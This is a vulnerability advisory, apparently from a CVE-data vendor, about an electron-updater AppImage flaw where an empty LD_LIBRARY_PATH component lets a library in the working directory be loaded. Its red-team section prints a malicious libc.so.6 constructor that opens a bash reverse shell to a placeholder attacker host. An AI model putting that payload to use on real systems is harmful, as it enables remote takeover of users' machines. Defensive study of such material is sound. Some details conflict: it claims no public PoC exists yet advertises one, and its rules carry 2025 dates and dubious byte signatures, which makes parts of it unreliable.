CVE-2026-54672
Executive Summary
CVE-2026-54672 is a high-severity vulnerability (CVSS 7.8) in the electron-updater package, which is used to provide automatic update functionality for Electron applications. The flaw specifically affects AppImage targets built by app-builder-lib. When setting the LD_LIBRARY_PATH environment variable at runtime, an empty path component could be included. This causes the current working directory to be added to the dynamic linker's search path. An attacker can exploit this by placing a malicious shared library (e.g., libc.so.6) in the directory from which the AppImage is launched, leading to arbitrary code execution with the privileges of the user running the application.
This vulnerability is particularly dangerous in shared or multi-user environments where users may download and run AppImages from untrusted directories. The attack vector is local, requiring user interaction (launching the AppImage from a directory containing the malicious library). No public proof-of-concept (PoC) or exploit code has been released as of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in the electron-updater npm package, which is a critical component in the Electron application supply chain. Applications that use electron-updater to deliver automatic updates are affected. The vulnerable component is app-builder-lib, which is used during the build process to create AppImage targets. Developers using electron-updater versions prior to 26.15.0 are at risk. The supply chain impact is significant because the vulnerability is introduced during the build phase, affecting all downstream users of the built AppImage.
CVSS Breakdown & Threat Level
- CVSS Score: 7.8 (High)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Local (L) - The attacker must have local access to the system.
- Attack Complexity (AC): Low (L) - No special conditions are required beyond placing a malicious library in the working directory.
- Privileges Required (PR): None (N) - The attacker does not need any privileges.
- User Interaction (UI): Required (R) - The victim must launch the AppImage from the directory containing the malicious library.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the victim's session.
- Confidentiality (C): High (H) - Full file read access is possible.
- Integrity (I): High (H) - Arbitrary code execution allows modification of files.
- Threat Level: High. The vulnerability is easy to exploit and can lead to full system compromise in the context of the user.
Deep Dive & Mechanics
The vulnerability lies in how app-builder-lib constructs the LD_LIBRARY_PATH environment variable for AppImage targets. AppImage is a format for distributing portable Linux applications. When an AppImage is launched, it sets up a runtime environment, including LD_LIBRARY_PATH, to ensure the application can find its bundled libraries.
In vulnerable versions, the code that builds the LD_LIBRARY_PATH string could include an empty path component (e.g., :/usr/lib or /usr/lib:). The Linux dynamic linker (ld.so) interprets an empty path component in LD_LIBRARY_PATH as the current working directory. This means that when the AppImage is launched, the dynamic linker will search for shared libraries in the current working directory before searching the standard system paths.
An attacker can exploit this by placing a malicious shared library (e.g., a trojaned libc.so.6 or libssl.so.1.1) in the directory from which the victim launches the AppImage. When the AppImage loads a legitimate library, the dynamic linker will find the attacker's malicious version first, leading to arbitrary code execution.
The fix in version 26.15.0 ensures that the LD_LIBRARY_PATH string does not contain empty path components, preventing the current working directory from being added to the search path.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// app-builder-lib/src/targets/AppImageTarget.ts (simplified)
function buildLdLibraryPath(appDir: string): string {
// This could produce an empty component if appDir is empty or malformed
return `${appDir}:/usr/lib`;
}
Patched Code (Conceptual):
// app-builder-lib/src/targets/AppImageTarget.ts (simplified)
function buildLdLibraryPath(appDir: string): string {
// Filter out empty components
const components = [appDir, '/usr/lib'].filter(c => c.length > 0);
return components.join(':');
}
The patched version ensures that only non-empty path components are included in the LD_LIBRARY_PATH string, preventing the current working directory from being inadvertently added.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A vulnerable Electron application built with
electron-updater< 26.15.0. - Ability to place a malicious shared library in a directory where the victim will launch the AppImage.
Exploitation Steps:
Craft a malicious shared library. For example, create a
libc.so.6that executes a payload (e.g., reverse shell) when loaded.Place the malicious library in a directory that the victim will use as the current working directory when launching the AppImage (e.g.,
/tmp/exploit/).Trick the victim into launching the AppImage from that directory:
cd /tmp/exploit ./vulnerable-app.AppImageThe payload executes with the privileges of the user running the AppImage.
Example Payload (lib.c):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
// Reverse shell payload
system("bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'");
}
Compile:
gcc -shared -fPIC -o libc.so.6 lib.c
Blue Team (Defender)
Detection:
- Monitor for AppImage launches from non-standard directories.
- Monitor for unexpected shared library loads using
straceorltrace. - Use file integrity monitoring to detect the presence of malicious shared libraries in directories where AppImages are launched.
Prevention:
- Update
electron-updaterto version 26.15.0 or later. - Educate users to only launch AppImages from trusted directories.
- Use AppArmor or SELinux to restrict the dynamic linker's search path.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (None available publicly)
- Network Indicators: Outbound connections to attacker-controlled IPs on common ports (e.g., 4444, 8080).
- Process Indicators: Unusual child processes spawned by the AppImage (e.g.,
bash,nc,python). - File System Indicators: Presence of unexpected
.sofiles in directories where AppImages are launched (e.g.,/tmp/,/home/user/Downloads/). - Log Indicators: System logs showing
LD_LIBRARY_PATHcontaining an empty component (e.g.,LD_LIBRARY_PATH=:/usr/lib).
Detection Engineering
YARA Rule
rule CVE_2026_54672_AppImage_LD_LIBRARY_PATH {
meta:
description = "Detects AppImage files with vulnerable LD_LIBRARY_PATH configuration"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-54672"
strings:
$ld_path = /LD_LIBRARY_PATH=[^:]*:{1,2}/ nocase
$appimage_magic = { 41 49 02 } // AppImage magic bytes
condition:
$appimage_magic at 0 and $ld_path
}
Sigma Rule
title: CVE-2026-54672 - AppImage LD_LIBRARY_PATH Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2026-54672 via LD_LIBRARY_PATH manipulation
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '.AppImage'
CommandLine|contains: 'LD_LIBRARY_PATH='
condition: selection
falsepositives:
- Legitimate AppImages with custom library paths
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-54672 - AppImage LD_LIBRARY_PATH Exploitation"; flow:to_server,established; content:"|41 49 02|"; offset:0; depth:3; content:"LD_LIBRARY_PATH"; nocase; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update
electron-updaterto version 26.15.0 or later. Run:npm update electron-updater - Rebuild AppImage targets using the updated
app-builder-lib.
Compensating Controls:
- User Education: Warn users not to launch AppImages from untrusted directories (e.g.,
/tmp,Downloads). - System Hardening: Use AppArmor or SELinux profiles that restrict the dynamic linker search path.
- File Integrity Monitoring: Monitor for unexpected
.sofiles in directories where AppImages are executed.
Long-Term Measures:
- Static Analysis: Integrate static analysis tools into the CI/CD pipeline to detect empty path components in environment variables.
- Runtime Protection: Use tools like
seccompto restrict system calls related to dynamic linking.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.